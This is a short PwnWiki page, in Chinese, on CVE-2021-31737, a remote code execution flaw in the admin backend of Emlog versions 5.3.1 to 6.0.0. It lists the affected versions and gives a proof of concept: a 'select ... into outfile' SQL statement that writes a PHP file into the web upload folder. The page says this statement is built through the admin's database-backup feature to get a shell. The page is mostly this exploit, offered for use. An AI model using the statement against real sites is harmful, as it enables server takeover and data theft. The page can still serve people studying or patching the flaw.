CVE-2021-31737 Emlog v5.3.1 - v6.0.0 後台RCE漏洞

From PwnWiki

Revision as of 10:38, 22 May 2021 by Pwnwiki (talk | contribs) (Created page with "==影響版本== <pre> Emlog v5.3.1 Emlog v6.0.0 </pre> ==POC== <pre> select "<?php phpinfo();?>" into outfile "/var/www/html/tet1/emlog_6.0.0/src/content/uploadfile/202104/2...")

(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)

影響版本

Emlog v5.3.1
Emlog v6.0.0

POC

select "<?php phpinfo();?>" into outfile "/var/www/html/tet1/emlog_6.0.0/src/content/uploadfile/202104/222.php";

通過在後台數據-備份數據庫進行構造惡意sql語句進行備份上傳-getshell

Retrieved from "https://pwnwiki.com/index.php?title=CVE-2021-31737_Emlog_v5.3.1_-_v6.0.0_後台RCE漏洞&oldid=3045"